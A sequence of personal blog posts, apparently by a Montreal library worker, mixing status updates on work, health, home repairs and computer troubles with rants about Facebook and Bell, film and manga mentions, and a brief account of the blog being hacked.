“Une exception non gérée s’est produite dans un composant de votre application. Si vous cliquez sur Continuer, votre application va ignorer cette erreur et essayer de continuer. La collection a été modifiée; l’opération d’énumération peut ne pas s’exécuter.”
Voici un étrange message d’erreur apparu sur un poste au travail aujourd’hui. Le libellé en français ne fait guère de sens… mais, bon, nous n’en sommes pas à une absurdité près…
[ Translate ]
Since our previous status report, nearly three months ago, a lot has happened. On the domestic front, I am happy to say that I have felt improvement at work. I guess I found better ways to deal with all the irritant “mammoths” (a plethora of usual absurdities, incompetence, and running arounds that made me crazy and drained my energy). However, following the “heat episode” I mentioned earlier, I complained to the union. The union director for the borough came to the workplace and said he could not do anything. A few weeks later he submitted his report to the employers. His conclusion? The section head and the three employees who left early because the excessive heat made them sick … should have stayed at work to show solidarity with their colleagues! Who needs a heartless employer when you have a union of traitors and assholes like that! A real nest of collusion. Madness!
As I keep saying, library work can be quite physical and exhausting (who knew!). I remember someone saying that, at my age, “if you don’t feel pain somewhere when you get up in the morning, it means that you’re dead!” Well, I can say that I feel quite alive. Pain is good. It certainly makes me feel I am there.
What has probably helped is that it has been a very good time for writing. My mind felt clear, I’ve been producing a lot, and everything was doing so well that I could only fear that it would all crash down soon. Maybe it’s the Algernon’s syndrome or, to paraphrase Nelligan, “I am happy, so happy, that I am afraid to burst into tears!” Hopefully not… It is true that I wrote a lot, mostly about movies (Winchester, The Guernsay Literary and Potato Peel Pie Society, Isle of Dogs, Ready Player One, Mary and the Witch’s Flower, Ex-Libris: The New York Public Library), particularly with the coverage of the World Film Festival (list of Japanese films, red carpet, Samurai’s Promise, Zone Out, Life in overtime, Think again, Junpei, The Miracle of Crybaby Shottan, wrap-up). After a while I had enough of movies and it felt like I should go back to comment on books and manga—which I did with The Ghost in the Shell 1.5: [Human Error Processer], Un siècle d’Animation Japonaise, Souvenirs d’Emanon, Le Guide du Mauvais Père 4 and The Little Broomstick. I also wrote a suggestion list of adult manga. With all this the blog’s stats have soared!
I kept busy. I took walks in the park or visited the museum, a farm fair or the Italian week. I also reflected on the electoral conundrum (before accomplishing my citizen’s duty —in anticipation— with disappointing results), against Facebook, about writing (1, 2, 3) and about reading (or not).
Eventually, by mid-September, everything started to slow down again and I wrote less. So many things to do. I feel that I cannot accomplish anything. What I need is more time! Time… Time is the enemy. We fight it to do more. We fight it hoping not to get old too fast and still have a little time left to do more. I wrote a haiku.
I started writing in a new notebook. The thirty-fifth. Some could be surprised that, in this digital age, one would still use a paper notebook. However, I find this physical form strangely reassuring. After all, electronic information can be so vulnerable. The good old notebook doesn’t need any batteries and fears only fire and water. Its sequential way of working—to write, read (or re-read)—is so much more appropriate for the human brain capacity. It is easier to get an overview of the text, to positioned yourself in the three dimensions of the writing. It’s more confortable for me. Of course, most of the time, it is just a glorified to-do or grocery list, but it serves as backup for my capricious memory. That way, in a few scribbles, I can preserves ideas that would otherwise be too fleeting to be useful. It is also the witness of my daily life.
I’ve watched a few interesting TV series. First, The Miniaturist mini-series. It is good and yet disappointing. It looks similar to the Girl with a Pearl Earring. It’s another show about the powerlessness of women in the end of the Middle Age (or early Enlightment). It concludes with an open-ending. “I can do this”, she says… I also binge-watched the first season of the Jack Ryan TV series on Amazon Prime (a thriller similar to 24), the new seasons of Walking Dead, Doctor Who and also the very good Press TV series.
Apple has announced new products (iPhone and watch) and released new operating systems. How come, when you do a software upgrade, you always loose something you like? Why is removing something cool and useful is considered an upgrade? New operating systems always offer a basket of frustration…
I am trying to improve my reading habits by reading more, more often and better literature than just manga. I started with The Little Broomstick by Mary Stewart and I am currently reading the first novel of the Poldark series by Winston Graham. But it is hard. In the olden days, I could read about sixty pages in an hour. Now, I read only a few hours per week, before going to bed, and barely thirty pages per hour. After two or three days of starting a new book, I am barely at page fifty! What’s happened to me? Fortunately, as I go forward, it is starting to get better… However, manga are pilling up on my nightstand, so I will soon have to pay attention to them…
“Summer is officially dead. It smells like Fall outside and I heard a flight of geese passing over the house”. Then, Fall officially came. It got colder and rainy. We even had some light snow. It became a little warmer for a while, but now we can feel that Winter is around the corner. Flowers and plants are shrivelling, twisting and taking the brownish colour of death. Winter is coming…
The lights have started to flicker again. Same time than last year…
On the world stage, we find the usual disasters (increasing numbers of earthquakes, floods, hurricanes and volcanoes) but my attention had been particularly focused on the trumpian saga of corruption scandals (Stormy Daniels, the Mueller’s investigation, of course, but particularly the Kavanaugh confirmation) growing in a crescendo as the midterm elections are closing by. Such craziness! (For all the details see the 2018 events for the months of August, September and October as well as the links bellow).
Despite all this, I surprisingly succeeded to stay acquainted with the affairs of the world and gathered over two-hundred notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order; please note that, to save on coding time, the links will NOT open in a new window as usual) after the jump.
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“La section 9 est sur les dents ! Il faut dire que les enquêtes s’enchaînent pour la section d’élite et que Kusanagi et Batou n’ont guère le temps de chômer…”
“Découvrez enfin dans sa version perfect ce volume phare de la saga, qui vous éclairera sur la vie quotidienne de la section 9, ses difficultés et ses tensions. Un tome qui conclut à merveille le triptyque de The Ghost in the Shell Perfect Edition.”
[ Texte du site de l’éditeur ]
ATTENTION: Peut contenir des traces de divulgâcheur (i.e. “spoilers”)! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillées de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre la lecture qu’avec circonspection.
La description ci-haut (qui provient du site de Glénat) est totalement erronée! C’est bien la première fois que je vois ça: un éditeur qui ne connait pas son produit ou qui s’en fout! Le Major Kusanagi fait certes une brève apparition mais elle ne fait plus partie de la section 9! Quant à éclairer la vie quotidienne de la section 9, pas vraiment: on y apprends quelques détails nouveaux sur son fonctionnement mais sans plus. Par contre, il est vrai que l’histoire se concentre sur le travail journalier d’enquête de cette force militaro-policière qu’est la section 9.
Si Ghost in the Shell (攻殻機動隊 / Kōkaku kidōtai / lit. “Police anti-émeute blindée mobile”) est mon manga préféré, étrangement, je n’en ai jamais vraiment parlé dans ce blogue (à part brièvement lorsque j’ai commenté le film en live-action et l’animation). Je me dois donc d’abord de donner un aperçu de l’oeuvre en général.
Poursuivre la lecture après le saut de page >>
I am really getting fed up with Facebook. It is an exceedingly time-consuming activity (chronophagios) that really gives little rewards — I means besides watching cat videos and stalking (um, I means, keeping in contact with) friends. More and more it has become the kingdom of fake news, as people constantly pass their expressed opinions as news (or as news-worthy).
Not only Facebook is doing very little to prevent foreign agencies to try to influence our minds through fake posting or advertising but, at the same time, they block legitimate ads from museums around the world because it is deemed offensive or subversive ! Incredible! How comes a bunch a geeks who know so little about the world become arbiters of morality and political decency ? They’re such a great influence over our minds (and our children’s minds) and yet, there is no one to oversee their policies? Inacceptable!
Of course, I would not be so inflamed by their ignominious policies if I would not have been touched personally by it. I am busy and I don’t have time to post on my blog, on Facebook, on Tweeter, on Instagram, etc. So I concentrate on what’s the most important to me (the medium that I can control the most) — my blog — and I just automatically repeat each (or most) post on the other social media to increase diffusion of my art and thoughts. However, a recent change in policies brought by Facebook is blocking this automatic reposting! What? They let the Russian pass through but they block my book reviews and cats’ pictures?! That’s unconscionable !
That I learned recently from a WordPress email:
“Starting August 1, 2018, third-party tools can no longer share posts automatically to Facebook Profiles. This includes Publicize, the WordPress.com tool that connects your site to major social media platforms (like Twitter, LinkedIn, and Facebook).”
They explain that if my content is linked to a Facebook Profile (a personal account), then Publicize will no longer be able to share my posts to Facebook, but it will still work if it’s a Facebook Page (public profiles allowing “artists, public figures, businesses, brands, organizations and nonprofits connect with their fans or customers”) that is connected to my site. I have only two options if I still want my Facebook followers to see my posts : create a link manually or convert my Facebook Profile to a Page ! They continue:
While Facebook says it is introducing this change to improve their platform and prevent the misuse of personal profiles, we believe that eliminating cross-posting from WordPress is another step back in Facebook’s support of the open web, especially since it affects people’s ability to interact with their network (unless they’re willing to pay for visibility) We know that this might cause a disruption in the way you and your Facebook followers interact, and if you’d like to share your concerns with Facebook, we urge you to head to their Help Community to speak out.
Damn you Facebook! Improving your platform? You means improving your profits by making changes that would favour the commercial use of your application! What about the users, the people who made your product famous (and create its value) ? Oh, yes, that’s true: since we know that WE are your product it is getting more difficult to fleece us, so you reorient your business model!
So, if you were wondering why I am posting very little on Facebook lately, well, that’s the reason. Now, I will probably share my posts manually for a while (for the most important entries) and maybe consider to eventually create a Page, but I am also quite seriously considering withdrawing completely from Facebook…
What do you think about that? (please comment)
And don’t hesitate to let Facebook know what I think of their stupid policies!
(note: the title is in latin)
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Since the last update, over two months ago, so much has happened.
On the domestic front, it seems that I ran out of karma points because a series of unfortunate events kept happening to me, including frustratingly bad customer service experiences: I had trouble getting my bag of weekly flyers delivered, after eight long months the contractor finally came to finish the landscaping work in the backyard so I could work (hard) to set up the garden, and then the water heater broke down! Everything was just a big pain in the ass! I ended up so stressed and distressed by the whole ordeal that I forgot to do the accounting and pay the bills! This had never happened to me in fifteen years!
Out of energy !
However, that was not the end of it. Work is usually a real nut house where we have to run around like crazy, doing absurd stuff. Under normal circumstances it is already demoralizing and exhausting. But we had to go at it during a heat wave, for a whole week! We had a few days of respite and then, the air conditioning broke down—for another week! We were working at temperature between 27° C and 30° C, with relative humidity of 50-55% ! If you calculate the humidity factor (the way that it’s normally done on weather channels) it felt like working at temperature between 35° C and nearly 40° C ! (Of course, according to the charts used by management, it was barely over 33° C and we shouldn’t even brake a sweat! For them it was just uncomfortable conditions!). Damn it, we are working in a library, not a sweat shop! Management brought huge fans, but if you move hot air, it is still just hot air — in a very noisy environment.
If it was just working at a desk with a fan in the face it would probably be tolerable, but we are standing up and moving around a lot to serve customers (lending, shelving and processing books, etc.) — contrary to what most people believe it is a very physical work. At my age and with my health I cannot work in such conditions for a long duration. One day, I was tired and feeling dizzy (the head-librarian had already left and a couple of colleagues were not feeling well either) so I decided to also leave work early. We were threatened of “consequences” (disciplinary measures) by management for doing so. We endured for the rest of the week, but, in the end, I couldn’t take it anymore, I was exhausted (completely out of energy), having sore throat, migraine and ear ache, so I took a day off. I just don’t get it: why’s this obstinacy to force employees to work in unbearable conditions? Where is decency and respect of the workers? That’s what upsets me the most: absurd decisions and disrespect… I get it that there is nothing in the labor law (health & security) that prevent work in extreme heat conditions, but it is just common sense and thoughtfulness not to subject your employees to such suffering! Then again, why should I be surprised of such contempt for the workers?
At the same time, I had to deal with some garden theft which became “the sunflowers’ affair” and evolved into a real saga. Finally, as I was ready to blow a gasket, my blood pressure medication was recalled due to contamination with a potential carcinogen (the generic version is made in China, no wonder)! I had trouble at first to get the pharmacy to replace it for free, but now there is a class-action lawsuit being organized…
My mind elsewhere !
Thankfully, there was a few positive events to brighten my mood, like an occasional trip to the botanical garden or the park, Apple announcing their incoming new operating systems (iOS 12 and macOS 10.14 Mojave) or finally being able to finish watching the latest seasons of Poldark and McMafia. Strangely, as I handled all the bad karma with relatively great zen, I managed to write comments on quite a bunch of stuff (books, TV series and movies): The Dark Tower, The Terror, Crapule, American Made, Victoria & Abdul, Un simple monde, Le chat du louvre 1-2, Black Panther, Isabella Bird: femme exploratrice 1-2, Alien Resurrection & Alien: Covenant, Pline 5, Ad Astra 4-5, Justice League, Batman v Superman, Jumanji, Giacomo Foscari 1, Nos yeux fermés, Your name., In this corner of the world, and The Mummy. Fortunately, reading (or alternatively watching TV) and writing (comments, rants or even poetry) is a great help to bring my mind elsewhere!
On the world stage, we saw the usual fires, floods, volcanoes, storms, kids trapped in a cave, a couple of summits (G7 & North Korea), the World Cup, water was found on Mars and each day kept bringing more Trump insanities. If I wouldn’t know better I could think that Trump is the antechrist and that the end of the world is near! But, no, it’s just our daily lives in the 21st century… I just don’t understand: in 1953 the Rosenberg were tried and executed simply for spying for the Soviets; now, some politicians conspired with the Russians to interfere in the U.S. elections, make their own businesses profits, as well as contribute to undermine western democracies and absolutely NO uproar is being made about it? Delirant isti americani !
Through all this I did my best to stay (sane?) acquainted with the affairs of the world and gathered over two hundreds notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window beyond this point), after the jump.
[ Traduire ]
I thought I would go to the park to do some bird watching… but all I saw was those big noisy birds!
[ Nikon D3300, Parc Frédérick-Back, 2018-06-20 & 2018-07-08]
[ Traduire ]
In the last couple of months (ten weeks!), there was really nothing new on the domestic front. The same old routine. Spring finally came, the air warmed up and (after a little icy setback) the buds started to open, quickly blossoming into a late summer. I experienced, again, some health problems which kept my moral down for a while. I had my old computer repaired and finally got a new one, which meant lots of hardware and software installations, reorganizing the working area, etc., which made many onomatopoeias come to mind (Aauugh!, *whimper*, *Phew*).
I tried to apply to a couple of new jobs in order to get out of the nut house where I works but with no luck. To make things worse, the company we hired to repair the balcony & backyard keeps dragging their feet and nothing seems to get going. I want to prepare the garden for the summer but will we be able to do any gardening? My life seems on hold. I have many new project ideas to keep me busy but there’s so little time, so many things to think about and to do, all at the same time, that’s overwhelming, mind-crushing, depressing even…
I spent so much energy running like crazy at work (and for a whole week the temperature in the library was between 24 and 28 ºC!), coming back completely exhausted, hoping for a new job (or some sort of fairy god-mother intervention), waiting on the contractor (I took some vacation in order to rebuild the garden after the works would be done, but I feel I wasted my time…), stressing about health problems, reorganizing my computers and my network (extending ethernet to compensate for Bell’s weak wi-fi for example) that I really didn’t read or write much. Again, getting caught with life so much that… I forgot to live! It seemed that time was slipping through my fingers like sand. I felt (and still feel) tired all the time…
When I am at work I feel miserable but, when I am at home and look at this house — this little and comfortable nest, or safe-house, we have set-up for ourselves — I feel pretty good and content. I have everything I need and could ask for (okay, maybe not that marble bust of Lucius Virus or a more quiet and pleasant job — but, who knows, it might come someday). So, I have no real reason to be unhappy (beside watching the news, of course). I just have to tell myself that, again and again, and repeat it, each time I have to face the darkness…
However, I was not completely idle. I wrote a little (commenting on Le secret des vietnamiennes, Venise and Bug, as well as a few movies). I also attended the Congrès Boréal, went to Ottawa to watch tulips and to the annual book sales of the libraries (so far I bought a few novels and about thirty-five manga!). Unfortunately, I mostly kept myself entertained: I finished to watch The Durrells, some old favourites TV series like Homeland or The Expanse, and tried some quite excellent new series like the remake of Lost in Space, Little Women or The Good Karma Hospital. I even discovered a new TV service, BritBox, but haven’t had time to try it yet.
On the world stage we find the usual disasters: Trump ramping and raving (blaming everyone but himself), floods here, volcano there, many more sexual scandals, ups and downs in North Korea, war looming in the Middle East (Gaza, Iran), add another ebola epidemic, or an occasional school shooting and you have the picture. But there are also some good news, like a very Royal Wedding! [See detailed day by day events for April and May]
Through all this I tried to stay acquainted with the affairs of the world and gathered a few notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window as usual), after the jump.
[ Traduire ]
I seems now, after nearly a week, I am finally done with the computer set ups. Of course, it wasn’t without pain and efforts.
First, despite the promises of the “Genius” that served me at the Apple Store, the technician had installed the *previous* macOS (10.12) instead of the latest one (10.13.3). It speaks volume on the heaviness of High Sierra when Apple’s own technicians want to save time (and cut corners) by avoiding its installation! Therefore I had to spent the first evening with my brand new/refurbished MacBook Pro (June 2017) updating the operating system. To add injury to the insult, Apple pushed the 10.13.4 update the *very* next day, so I had to go through the whole updating process AGAIN!
The next step was to order a stand, a bunch of cables and hard drives to install the MBP at my desk, with a larger monitor, wireless keyboard & mouse, as well as a Time Machine backup and a clone of the hard drive (just in case…). Finally, I had to install all the necessary software for my work (Norton Security, MS Office, LibreOffice, Photoshop, GIMP, VMware Fusion, DropBox, iMovie, Pages, Numbers, Keynote, etc.) and set up iCoud (because the 250 Gb SSD storage of the MBP is a little tight for me; from now on I will store all needed (texts, images) files in iCloud (200 Gb) and be able to access them from ANY devices!).
Then I moved the old iMac from my desk to the salon where it will become the new, more performing, media center. I needed a new HDMI cable to hook it up to the TV and had to install all the necessary software needed to perform that task (VLC, Kodi, Transmission, RipIt, Flixter, PopCorn, Toast, etc.).
The Mac-Mini was then moved from the salon to the bedroom to serve as secondary media center, along the Apple TV, for late night viewings. Not much install needed there besides hooking it up to the TV and to a wireless keyboard and trackpad (instead of a mouse).
It was a long process and I encountered only ONE major problem. At some point, and without any obvious reasons, all the pinned notes (the most important of course!) in the Notes app simply disappeared without a trace. They were not deleted. They just disappeared. And I couldn’t recover them. Very annoying! I had to performed a convoluted recovery process where I isolated the iMac from the internet (to prevent Notes from synching) and copied all the vanished notes into TextEdit in order to recreate them in Notes. Then the MBP Notes refused to synch with iCloud, so I had to turn it off and on, causing it to erase and re-download all the iCloud content again. Nothing more was lost and now everything seems to work (but, still, now I’ll maintain a backup of the notes, just to be sure).
And voilà! Now I can finally write.
Unfortunately (since I also tested my new media center by catching up on my viewings [The Walking Dead S08 eps 13-15, When calls the heart S05 eps 5-7, Homeland S07 eps 4-8, The Durrells S03 eps 3-4, Little Women eps 1-3 and The Terror ep 1], did the laundry and took at least one walk in the park) I don’t have much time left to write anything… As usual.
The next step: solving the damn weak and spotty wifi problem, do many projects around the house (spring cleaning, prepping the backyard for the summer, start gardening, etc.), read more, and, of course, try to catch up a little on my writing!
[ Traduire ]
In the last five weeks, nothing much happened on the domestic front. The weather slightly improved each weeks (now it’s mostly above zero, although the east coast kept being hit by one nor’easter after another!) and the sun feels much better (warmer) since we switched to daylight saving time as it sets much later now. The snow is melting. The job is as tiring and frustrating (absurd) as ever, but I think I am dealing better with it. Zen and all (trying not to give a f*ck).
I got my DNA testing results from 23&me and it is rather disappointing. I am genetically boring: one hundred per cent europeans and no variants detected for major health issues (save a higher risk for macular degeneration and celiac disease). The physical traits reports are hits and misses. I still have to read everything in details, but I feels it is more amusing than really useful.
I didn’t write much (although I did a few good comments on What the Health, An inconvenient sequel, Le chat du rabbin 7, Reine d’Égypte vol. 1 and vol. 2-3, on Kim Thuy’s conference and her book Ru) because I have been constantly busy trying to solve multiple problems. I have the feeling that nothing works properly anymore! Everything seems buggy: the WiFi, the blog, the computer (at home and at work), and even the electricity (causing the lights to flickers almost constantly, turning off and on the TV or the computer)! Is the world starting to slowly brake down all over? The entropy! The entropy! Seriously, if all this is a simulation (or a dream) slowly shutting down, maybe a reboot would wake me up? Or maybe not. But this constant fighting to maintain the cohesion of the universe is getting tiresome (if not unbearable, yet).
I called Hydro Q and the flicker stopped (for now). Tried to install network extenders but Bell’s wifi is till shitty (neither Apple Airport or Netgear worked; should I try another brand? More pods? To be continued…). The computer finally died (there was a problem with File Vault being on but the main problem was the hard drive after all) and is now at the repair shop. My desk feels empty and working in the salon on a combination of Mac-mini (which I normally use as a media center) and iPad, is rather uncomfortable. I am planing to purchase a Macbook soon… But I wasted so much time doing all this… it is frustrating.
In the news, the world doesn’t seems in a much better shape. More Trump-related scandals (Cambridge Analytica, Stormy Daniels, he fires Tillerson and McMaster, tease trade war and impose tariffs on steel & aluminum — mostly for China, proposed talks with North Korea, etc.), more school shooting this time at Marjory Stoneman Douglas High in Parkland (Florida), serial bombing in Texas, another democrats’ victory in Pennsylvania slowly tips the scale, emboldened Russians assassinated a couple of former spies in Britain (one with a nerve agent!), Steven Hawking died, etc. The good news is that the students from Parkland are old enough to become activists (#NeverAgain) and, for some, to vote in the mid-term election in November! An end to this nightmare really seems possible…
Anyway, as usual, I managed to stay a little acquainted with the affairs of the world and gathered many notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window as usual), after the jump.
(The entry’s title is a quote from Charles Schulz’ Charlie Brown)
The lights keeps flickering… The WiFi is often spotty and unreliable… And now my iMac is a zombie! Isn’t there anything working properly anymore ?!!
Ever since the last major OS update, the iMac started freezing now and then. Actually : almost every hour! So, I was suspecting a problem with Time Machine (it was freezing just as TM was about to start an incremental backup). I turned TM off, which didn’t totally solved the problem but considerably reduced its frequency.
Then, yesterday night, out of the blue, the iMac started to freeze again every few minutes. It slowed down to a slow pace and all applications refused to start and giving a “this application is not responding” instead (well, Safari was painstakingly loading).
My computer is a late 2012 iMac, with a 21.5 inches screen, 2.9 GHz processor, 16 GB RAM, 1.12 TB Fusion Drive and it is running MacOS 10.13.3. I admit, it’s already more than five years old. Any suggestion to solve this problem?
I unplugged all peripherals and restarted several times with no change. Finally, I decided to restart in Safe Mode and ran a few diagnostics, repaired the drive, checked for virus with Norton Security, but everything seemed normal save that the problem was PERSISTING even in Safe Mode !
Therefore, could it means that’s an hardware problem rather than software? Maybe the last update didn’t play well with the Fusion Drive, like I’ve heard on some board?
Until I fix this (or replace my iMac with something new — not better, you can’t get that these days), I am stuck working on my even older Mac Mini (Mid 2010) or on my iPad ! I guess I know now where this year’s tax return will go…
“A decade after An Inconvenient Truth brought the climate crisis into the heart of popular culture, comes the riveting and rousing follow-up that shows just how close we are to a real energy revolution. Former Vice President Al Gore continues his tireless fight, traveling around the world training an army of climate champions and influencing international climate policy.
Cameras follow him behind the scenes — in moments both private and public, funny and poignant — as he pursues the inspirational idea that while the stakes have never been higher, the perils of climate change can be overcome with human ingenuity and passion.”
[From the official web site]
So much happened in the last four months (since the last notable news entry), that I wouldn’t know where to start. I’ll try to recall the highlights, but I’ll try to be brief.
On the domestic front we had a bout of extreme cold (while in the opposite hemisphere they had the hottest weather in nearly eight decades!). For the rest of the time we had the (now) usual cycle of freeze (snow) / defreeze (rain) with more snow than usual (at least more than last year; 195 cm so far). At work it is the usual hell, but I guess I came to term with it, becoming more zen (i.e. no giving a f**k) but I am still set into trying to find another job (in a quieter library, some place closer to home, maybe some desk job but I would rather prefer to keep working with books).
My blog was hacked and I finally made a move to a proper WordPress hosting. It is still a work in progress (still lots of repair to do), but I am now very satisfied with the look of the new blog. Of course, I’ve been more busy working on the blog itself and I didn’t write as much as I would have liked (but, still, I kept busy with some reviews, an essay on the art of reviewing and some articles like a biographical notice, a bibliography update, indexes, etc).
I had lots of trouble to have the city cut a branch of the tree in front of our house because it was touching the electric wires. The expensive repair/renovation in the backyard & balcony couldn’t be completed before the arrival of the cold weather (bad planning and lots of wasted time). The stupid contractor didn’t even provide an invoice so we cannot file our subsidy demands and he didn’t even bother to respond when we demanded that the work be completed in a timely manner in spring!
The digestion problems I’ve had since the beginning of the year convinced me to finally submit to tests and I had to endure a coloscopy (the test itself lasted just fifteen minutes but the two days of liquid diet and “preparation” were hellish!). They found that I was suffering from fatty liver and a sigmoidal diverticulosis (which could complicate into a diverticulitis). More stuff to be careful about…
This string of problems made me rather depressed. What’s the purpose to constantly fight if it is to simply eat in order to work, and work in order to be able to eat? I felt like the entropy of the world was catching up to me: the world was stopping making any sense, I was getting tired and weaker, everything was crumbling around me! Fortunately, writing and working on the blog was some sort of therapy for me and I now feel much better. Spring will be arriving in a little more than a month (despite mixed signals from the groundhogs) and we’ll be able to enjoy flowers under the sun again!
In the news, Catalonia declared independence from Spain, Trump recognized Jerusalem as Israel’s capital (killing all chances of peace in the Middle East), Disney acquired most of 21st Century Fox, the #metoo social awakening happened, the U.S. government shotdown twice, the Dow Jones dropped, SpaceX launched its Falcon Heavy rocket with a Tesla car as payload (!), there was a missile false alarm in Hawaii and Japan, we had various disasters (wild fires in California, mudslides, earthquakes, floods in Europe), and the usual Trump craziness makes me despair for some sanity. Finally, there nothing much on TV since it’s the Pyeongchang Winter Olympics!
Despite everything, I managed to stay a little acquainted with the affairs of the world and gathered many notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window as usual), after the jump.
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Bell offers a notoriously bad service to its customers. In fact, as I mentioned recently, the Commission for Complaints for Telecom-television Services tells us that 32% of all complaints from Canadian consumers are related to Bell! I experienced this personally numerous times (I once had five services with them [phone, cellphone, internet, web hosting and satellite TV] and cancelled it all because of a really bad customer service!). Recently, after switching internet & TV service from Videotron to Bell, my VoIP phone from a third party stopped working properly and, when I called Bell technical service, I was told that they didn’t support VoIP phone and that if I wanted a good phone service I should use theirs! Also, as soon as I started using their wi-fi, half my numerous devices using internet (computers, iPhone, iPad, VoIP phone, thermostat, WeMo Insight & Switch, Philips Hue lights, printer, garage door opener, security cameras, etc. — I have over twenty different devices requiring wi-fi!) wouldn’t connect properly through their WPS and it took me a long time to figure a way to have everything working in a decent and almost stable way (using a combination of DMZ and MAC filtering — as well as using my sister’s Videotron‘s wi-fi!). Clearly, this bad service thing is not a myth… At least it has a ring of truth, but I am sure many other people can confirm that.
I always wondered how come that a company with such a bad reputation would, first, manage to stay in business and, second, never make any attempt to improve either their service or reputation. This week, I just figured it all: why improve your crappy service when you can just charge your customers for an improved premium service ?!
For instance, if you are not satisfied with the crappy-almost-inexistant technical service, you can simply subscribe to their “Bell Tech Expert” service for only $6.00 per month! There’s no incentive for them to offer a good service if they are making money with the premium service option!
Or, if you find their crappy, unstable wi-fi service unbearable, you can simply subscribe to their “Whole Home Wi-Fi” service that uses a network of pods plugins that works with the Home Hub 3000 to strengthen and optimize the wi-fi! Only for $5.00 per month extra!
Some people will put up with the crappy service and some will pay up for the extra (real) service. You subscribe to Bell because (you think) they offer more than the competitor for a much cheaper price, but you end up paying more anyway for what should be standard service…
Quite annoying!
Unfortunately, I could never go back to Videotron’s TV service because Bell’s system is really amazing. It’s only their wi-fi (and customer service) that’s totally crap. Unfortunately, this makes their offers of Wi-Fi pods very tempting…
But at least, now, the Bell’s secret is out of the bag!
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Last week, I discovered that my blog (which I cherish greatly because it has been essential to sustain my soul and my sanity) had been hacked and that malicious code was injected in everyone of my 1500+ posts. It was causing a redirect that crippled the blog, preventing anyone to access it. According to my web host, it was caused by vulnerabilities in the previous version WordPress and, since it was not their fault, they didn’t help much beside offering a few suggestions.
I have removed the malicious script in the last hundred or so posts in order to make the blog functional enough to continue working on it. So, if you click on a link that redirect you to a weird place (or a blank page) you’ll know why.
I’ll try to find an automated way to removed the remaining malicious code or (more likely) I’ll find some time to do it manually. For now, I’ve installed Wordfence to improve security but, obviously, the current hosting doesn’t have much security (and doesn’t care). Therefore I will eventually move the hosting to a better place (the best candidate seems to be wordpress.com, which offers more features and a better price).
To be continued…
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Tous les gens qui ont eut à se plaindre à un moment ou l’autre de l’entreprise Bell Canada (et j’imagine qu’il y en a beaucoup) seront heureux d’apprendre que, selon l’émission La Facture de Radio-Canada, la meilleure place pour se plaindre de Bell est la Commission des plaintes relatives aux services de télécom-télévision (CRTC, Wikipedia). Le CPRST règlerait 90% des plaintes qu’ils reçoivent relatives à Bell et ce gratuitement et dans un délai de moins de trente jours! Bell génère d’ailleurs 32% du total des plaintes de consommateurs canadiens! Une information à retenir pour quand il y aura quelque chose qui cloche dans vos services de télécommunications !
[ Translate ]
L’arrondissement ayant acquis une imprimante 3D pour partager entre les bibliothèques, les employés ont reçu ce matin une petite formation pour les introduire à l’impression 3d et au mouvement “maker”. Après avoir expliqué le fonctionnement de l’imprimante (la DittoPro par Tinkerine, un fabriquant canadien), comment la callibrer, obtenir ou modéliser des fichiers, les préparer pour l’impression (slicing), les employés ont eu droit à quelques démonstrations d’impression (un écusson de Wonder Woman, un surfboard pour personnage Lego™). J’avais déjà beaucoup entendu parler d’impression 3d dans des reportages mais n’avais jamais eu d’expérience “hand-on”. C’était fort impressionnant.
L’engouement pour les Fab Labs (fabricathèque ?) a donc atteint les bibliothèques et on en retrouve déjà quelques uns à Montréal, principalement à Benny et à la BANQ. Avoir une imprimante 3D pour soi c’est un peu cher ($2500) mais les Fab Labs (Fabrication Labs et non Fabulous Labs, comme je l’avais d’abord imaginé — quoique cela s’applique aussi) offrent une alternative pratique. Ça me démange beaucoup d’aller y faire un essai! À suivre…
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On the domestic front, after much hesitation, the summer has finally arrived. At work, it is crazier than ever with the start of the vacation loan, the TD summer reading club, the twenty-days of amnesty, the summer clean-up and all this often in a sweatshop-like environment (hot and humid, because the ventilation and AC doesn’t work properly). It is so exhausting. I’ve applied for a job with more responsibilities (and pay) but flunked the interview (for the second time!). I am either good for nothing else or there’s something rotten in the HR kingdom.
I felt quite depressed lately. With all the problems with the house and at work, as well as the fact that I have not written or read much in several months, it’s no surprise. I come back from work with all my energy spent. I feel worthless. I feel I give a lot to the people around me and doesn’t get much (attention, respect, gratitude, etc.) in return. I hate it when dark thoughts keep me from enjoying life. But, hey!, it’s summer so lets enjoy the sun, the parks, the museums, the flowers, the cats, the people and particularly the few remaining days of my second ten-day summer vacation. There’s lot to do around the house and so much writing (hopefully) to catch up (I’ll try to go at it with smaller bites)!
In the news, Apple has announced some great software updates (iOS 11, macOS High Sierra, watchOS 4) and some new products (iMac & MacBook Pro, or iPad Pro updates, as well as a new iMac Pro and the HomePod, a speaker that they say will reinvent music at home) and my evenings have been consumed with listening to the latest Trump craziness on MSNBC. Everyday brings a new lie! More on the news in the links bellow…
I have always enjoyed the stray cats in my backyard but this year it is a real infestation: a battered dominant male [Toffee], two females (mother [Grisou] and daughter [Chaussette/Socks], their FIVE kittens and a couple of tomcat challengers. That’s TEN cats! They have laid waste to the backyard garden so I had to do something to control the situation. Unfortunately, the lack of consistent animal management policies in the city (and particularly in this borough, VSP) puts all the burden on the citizen and doesn’t give much help. My only option is to bring them to the Berger Blanc (which has a terrible reputation and an almost all-kill policy — also, for some mysterious reasons [$$?], my borough doesn’t deal with the SPCA) which I refuse to do. So far, I’ve caught all the females and their kittens, and I’ll see what I can do from there (any suggestions?)…
I’ve also started taking some omega-3 supplements, which (according to an NHK World report) is supposed to be good against cholesterol and dementia, amongst other things (like cancer or arthritis). It’s messing up with my digestion, but strangely I feel that my mind is a little clearer. Placebo effect? Anyway, we’ll see…
Strangely, I kept busy during the last month by doing lots of little things (cleaning up the garage, buying a new couch, burying my mother’s ashes, etc. — daily routine stuff) about which there’s little to say (or I just can’t recall some of them). I confess that I also probably watch too much TV. Anyway, that’s about it for now…
Although, as always, I continued to stay acquainted with the affairs of the world and gathered nearly a hundred notable news & links — which I share with you (in both french or english, and roughly separated in a few categories of interest), after the jump.
